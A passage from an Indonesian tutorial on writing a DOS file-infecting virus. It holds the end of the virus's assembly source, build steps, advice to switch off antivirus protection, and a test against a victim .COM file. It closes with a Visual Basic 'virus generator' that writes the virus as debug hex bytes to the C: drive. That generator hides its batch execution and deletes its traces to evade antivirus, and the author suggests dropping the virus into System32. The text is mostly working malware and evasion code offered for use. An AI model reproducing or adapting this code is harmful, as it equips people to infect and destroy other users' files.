pesanku db ’semua file *.com di direktori ini sudah diinfeksi’,10,13
; $ = akhir string
; 10,13 = pindah kebaris berikutnya
db ’selamat anda berhasil membuat virus :) ’,10,13
db ‘kritik dan saran eMail ke ratnozrv@yahoo.com…’,10,13
db ‘thx to Horny Toad for all the lessons u teach me :) ’,10,13,’$’

target label near ; label didalam prosedur TesVirus yang berguna
; utk menetapkan jarak/besar program virus

TesVirus endp ; akhir procedure

draggy ends ; akhir segmen

end mulai ; akhir mulai (mulai = kode pertama yg dieksekusi
; komputer yang berada didalam segmen draggy)

<– TESVIRUS.ASM –>

— 02 // Note ———————————————————–

01. Compile dengan menggunakan TASM 2.01 dan Tlink

02. Untuk lebih jelasnya, anda bisa mencari referensi lain tentang
bahasa assembly

03. Untuk melihat daftar interrupt lengkap anda bisa ke Ralph Brown’s
website alamatnya di :
http://www.cs.cmu.edu/afs/cs.cmu.edu/user/ralf/pub/WWW/
download: Interrupt 61a,61b,61c,61d,61e,61f (semuanya dalam Zip)

— 03 // Mengcompile —————————————————-

01. Matikan/disable fungsi Auto Protect dari program AntiVirus yang anda
gunakan karena virus yang dibuat ini termasuk ’simple virus’ sehingga
virus ini mudah didetect oleh program AntiVirus.

02. Salin program TASM dan TLINK ke folder C:\LAB

03. Salin source code TESVIRUS ke dalam text editor.

04. Simpan dengan nama yang disukai dengan ekstensi ASM. Contoh:
TESVIRUS.ASM

05. Buat batchfile bikinvirus pada folder C:\LAB

<++ bikinvirus ++>
@ECHO OFF
TASM %1.ASM
TLINK /T %1.OBJ
del %1.map
del %1.obj
<– bikinvirus –>

06. Jalankan DOS. Start -> Run -> cmd

07. Pindah ke direktori C:\LAB dan jalankan perintah bikinvirus

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\LAB>bikinvirus TESVIRUS

Turbo Assembler Version 2.01 Copyright (c) 1988, 1990
Borland International

Assembling file: TESVIRUS.ASM
Error messages: None
Warning messages: None
Passes: 1
Remaining memory: 442k

Turbo Link Version 3.01 Copyright (c) 1987, 1990 Borland
International

08. Program TESVIRUS telah dibuat. Jika ada kesalahan periksa
kembali kesalahan penulisan pada kode program, batchfile,
atau perintah di DOS.

— 04 // Testing ——————————————————–

Setelah anda berhasil membuat program virus bernama TESVIRUS.COM,
tentunya anda ingin menguji apakah virus yang telah dibuat
berhasil atau tidak. Anda tak perlu khawatir dengan virus yang
telah dibuat tadi karena virus ini tidak akan merusak sistem
di komputer anda selama anda tidak menempatkan virus ini difolder
Windows atau system atau system32.

Untuk menguji virus TESVIRUS.COM terlebih dahulu anda harus
membuat satu ’simple’ program .com yang tidak berguna [contoh
KORBAN.COM] kemudian catat ukuran asli dari file KORBAN.COM,
setelah itu letakkan program KORBAN.COM tersebut ke folder C:\LAB.

Masuk ke DOS prompt dan jalankan program TESVIRUS.

Kemudian, bandingkan size program KORBAN.COM sebelum dan sesudah
program TESVIRUS dijalankan. Jika terjadi perubahan maka TESVIRUS
telah berhasil menjalankan tugasnya.

Jika anda bingung bagaimana membuat sebuah program KORBAN.COM disini
penulis menyertakan source code untuk program tersebut dan akan
dicompile dengan menggunakan program debug.exe.

Program ini hanyalah sebuah program untuk menampilkan huruf “AA” jika
dijalankan dengan ukuran file aslinya = 14 KB.

Setelah anda mengcopy program debug.exe ke folder C:\LAB, jalankan
text editor dan copy-kan source code dibawah ini:

<++ KORBAN.TXT ++>
N KORBAN.COM
E 0100 B4 02 B2 41 CD 21 B4 02 B2 41 CD 21 CD 20
RCX
000E
W
Q

<– KORBAN.TXT ++>

Masuk ke dalam DOS prompt dan compile

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\LAB>debug < KORBAN.TXT
-N KORBAN.COM
-E 0100 B4 02 B2 41 CD 21 B4 02 B2 41 CD 21 CD 20
-RCX
CX 0000
:000E
-W
Writing 0000E bytes
-Q

C:\LAB>

— 05 // Mengatasi TESVIRUS.COM —————————————–

- Delete program TESVIRUS.COM termasuk file KORBAN.COM (yang sudah
terinfeksi).

- Jika belum bisa hilang, enable kembali auto protect program
AntiVirus anda kemudian scan dan quarantine, setelah itu anda
dapat men-delete TESVIRUS.COM dari dialog quarantine / delete
- Jika masih belum bisa anda dapat me-reverse/membalikkan logika dari
program TESVIRUS.COM untuk membersihkan file-file yang telah
terinfeksi.

— 06 // Tip dan Trik Membuat Virus Generator —————————

Ini adalah hasil iseng penulis waktu lagi menulis program dan
ternyata dengan menggunakan cara ini kita dapat mengecoh program
AntiVirus. Triknya adalah dengan membuat suatu program yang
men-drop/membuat file .dbg, .bat kesebuah drive dikomputer
kemudian program menjalankan file .bat yang telah dihasilkan
tadi untuk membuat program .com(virus) di drive tersebut.
Setelah program melaksanakan tugasnya maka file .dbg akan otomatis
dihapus dari komputer.

Disini penulis tidak akan membahas tentang cara bekerja dengan
menggunakan VB, untuk lebih jelasnya anda dapat membaca referensi
VB 6.0 dari buku, artikel atau anda dapat membeli CD MSDN yang
berisi Help dan contoh program pada VB 6.0 [keep up the hard
work my friend :) ]

Pada program yang akan dibahas ini file yang akan dihasilkan/
di-drop ke drive C:\ adalah file tv.dbg, tv.bat dan TESVIRUS.com.
Program ini di-compile menggunakan VB 6.0 jadi sebelumnya anda
harus menginstall VB 6.0 dikomputer anda )

Virus yang akan dihasilkan adalah virus TESVIRUS.COM yaitu virus
yang sama dengan virus yang telah anda buat diatas, perbedaannya
adalah program ini akan terus menghasilkan virus TESVIRUS.COM
di drive C:\ jika program ini dijalankan.

Terlebih dahulu anda memilih tipe ’standard exe’ di VB dan
Add 1 module pada program VB.

Salin code berikut pada text editor VB.

<++ TESVIRUS2 ++>
‘ kode di module
Public Function DropVir()
On Error Resume Next
Dim x, tvBat As String
x = “C:\tv.dbg”
Open x For Output As #1
Print #1, “N C:\TESVIRUS.COM”
Print #1, “E 0100 B4 4E 33 C9 BA 2F 01 CD 21 72 1B B8 02 3D BA 9E”
Print #1, “E 0110 00 CD 21 93 B4 40 B9 EA 00 BA 00 01 CD 21 B4 3E”
Print #1, “E 0120 CD 21 B4 4F EB DC B4 09 BA 35 01 CD 21 CD 20 2A”
Print #1, “E 0130 2E 63 6F 6D 00 73 65 6D 75 61 20 66 69 6C 65 20?
Print #1, “E 0140 2A 2E 63 6F 6D 20 64 69 20 64 69 72 65 6B 74 6F”
Print #1, “E 0150 72 69 20 69 6E 69 20 73 75 64 61 68 20 64 69 69?
Print #1, “E 0160 6E 66 65 6B 73 69 0A 0D 73 65 6C 61 6D 61 74 20?
Print #1, “E 0170 65 6C 6F 20 62 65 72 68 61 73 69 6C 20 62 69 6B”
Print #1, “E 0180 69 6E 20 76 69 72 75 73 20 70 65 72 74 61 6D 61?
Print #1, “E 0190 20 6B 61 6D 75 20 3A 29 0A 0D 6B 72 69 74 69 6B”
Print #1, “E 01A0 20 64 61 6E 20 73 61 72 61 6E 20 65 4D 61 69 6C”
Print #1, “E 01B0 20 6B 65 20 64 52 34 47 47 79 40 79 61 68 6F 6F”
Print #1, “E 01C0 2E 63 6F 6D 2E 2E 2E 0A 0D 54 65 73 56 69 72 75?
Print #1, “E 01D0 73 20 54 72 69 76 69 61 4C 20 2D 20 64 52 34 47?
Print #1, “E 01E0 47 79 20 2D 20 30 34 0A 0D 24?
Print #1, “RCX”
Print #1, “00EA”
Print #1, “W”
Print #1, “Q”
Close #1
tvBat = “C:\tvBat.bat”
Open tvBat For Output As #1
Print #1, “@echo off”
Print #1, “debug < C:\tv.dbg”
Print #1, “del C:\tv.dbg”
Close #1
Shell “C:\tvBat.bat”, vbNormalFocus ‘ atau gunakan vbHide agar
‘ proses dilakukan secara
‘ background
End Function

‘ kode di form
Private Sub Form_Load()
Call DropVir
Unload Me
End Sub
<– TESVIRUS2 –>

Setelah itu compile program anda dan jalankan, jika berhasil maka
sekarang di drive C: akan muncul program TESVIRUS.com. Karena
program ini dibuat dengan cepat jadi ada beberapa kekurangannya
seperti program ini tidak mencek kembali apakah file TESVIRUS.COM
telah ada di drive C:\, untuk itu anda mungkin dapat menambahkan
fungsi ‘FileExists’ untuk mencek file tersebut atau anda dapat
berkreasi sendiri dengan menggunakan cara anda sendiri untuk berkreasi
seperti men-drop virus ke folder C:\Windows\System32

— 07 // Final Word —————————————————–

“ilmu itu bukan untuk dibaca tapi untuk dipraktekkan.”

“jangan takut untuk mencoba, trial n’ error is the best lessons
in the world”

Happy programming n’ bye …

— 09 // Referensi ——————————————————

01. Forum ECHO VIRUS
02. http://www.codebreakers.org/
03. S’to, Pemograman Bahasa Assembly, edisi online v1.0
04. Google, keyword: debug tutorial
05. http://www.cs.cmu.edu/afs/cs.cmu.edu/user/ralf/pub/WWW/